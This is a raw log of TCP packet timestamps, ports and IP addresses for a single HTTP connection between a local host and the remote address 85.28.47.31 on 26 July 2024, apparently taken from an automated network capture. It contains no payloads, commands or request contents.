Jul 26, 2024 10:36:13.636310101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.636318922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.636322021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.636336088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.636357069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.636357069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.636385918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639394045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639408112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639417887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639429092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639441013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639445066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639452934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639460087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639466047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639483929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639491081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639497995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639511108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639513016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639525890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639534950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639538050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639550924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639563084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639566898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639575958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639581919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639589071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639600992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639601946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639614105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639625072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.639631033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.639664888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649123907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649137020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649147987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649158955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649169922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649180889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649195910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649221897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649363995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649377108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649386883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649399996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649405956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649411917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649425030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649435997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649446964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649463892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649477005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.649596930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.649636984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.701001883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701057911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701070070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701236010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.701236010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.701703072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701714993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701725960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701740980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.701760054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.701778889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.702209949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.702222109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.702234983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.702246904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.702259064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.702259064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.702286005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.702316999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.703167915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.703181028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.703191996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.703205109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.703216076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.703217983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.703228951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.703233957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.703269005 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.704168081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.704179049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.704190016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.704202890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.704211950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.704215050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.704243898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.704272032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.705363989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.705377102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.705387115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.705399990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.705411911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.705415964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.705425024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.705441952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.705461025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.706207991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.706219912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.706232071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.706243992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.706255913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.706258059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.706278086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.706300020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.707601070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.707612991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.707623959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.707636118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.707648039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.707658052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.707659006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.707674980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.707690001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.708100080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.708113909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.708127022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.708138943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.708149910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.708154917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.708163023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.708170891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.708199024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.709106922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.709120035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.709131002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.709144115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.709156036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.709162951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.709177017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.709197044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.710088968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.710103035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.710114002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.710127115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.710138083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.710143089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.710150957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.710179090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.710201979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.712157965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712172031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712182045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712193012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712213039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712214947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.712225914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712239027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712239981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.712251902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712258101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.712264061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712275982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.712286949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.712312937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.749391079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.755218029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939184904 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939244032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.939340115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939362049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939383984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.939398050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.939676046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939699888 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939727068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.939739943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.939837933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939856052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939870119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.939882994 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.939934969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.940551043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.940573931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.940589905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.940593004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.940607071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.940627098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.941242933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941267014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941282988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941298008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941299915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.941315889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.941345930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.941764116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941780090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941795111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941812038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941814899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.941828966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.941843987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.941873074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.942759991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.942783117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.942799091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.942817926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.942848921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.942867041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.942938089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.942954063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.942975044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.942995071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.943017960 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.943039894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944606066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944658995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944797993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944813967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944828987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944843054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944848061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944859028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944870949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944875956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944890976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944904089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944922924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944932938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944947958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944956064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944971085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.944972038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.944993973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.945007086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946177006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946194887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946209908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946224928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946255922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946336985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946361065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946376085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946387053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946429014 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946690083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946713924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946728945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946743011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946743965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946751118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946762085 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946779013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.946789026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.946822882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.947668076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947685003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947700977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947715998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947720051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.947731972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947755098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.947777987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.947798967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947813988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.947840929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.947863102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.948355913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948373079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948386908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948402882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948405027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.948419094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948430061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.948435068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948450089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.948460102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.948487997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.948507071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.949546099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.949562073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.949577093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.949592113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.949592113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.949609041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.949614048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.949625969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.949660063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.949675083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950249910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950265884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950280905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950297117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950297117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950309038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950313091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950329065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950329065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950344086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950345993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.950361013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950371027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.950390100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951086998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951102972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951118946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951133966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951141119 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951148987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951162100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951164007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951190948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951210022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951739073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951760054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951787949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951808929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951885939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951903105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951916933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951927900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951934099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.951946020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951960087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.951981068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954427958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954451084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954467058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954485893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954504013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954587936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954605103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954631090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954657078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.954736948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954761028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954776049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.954777956 CEST	49710	80	192.168.2.6	85.28.47.31
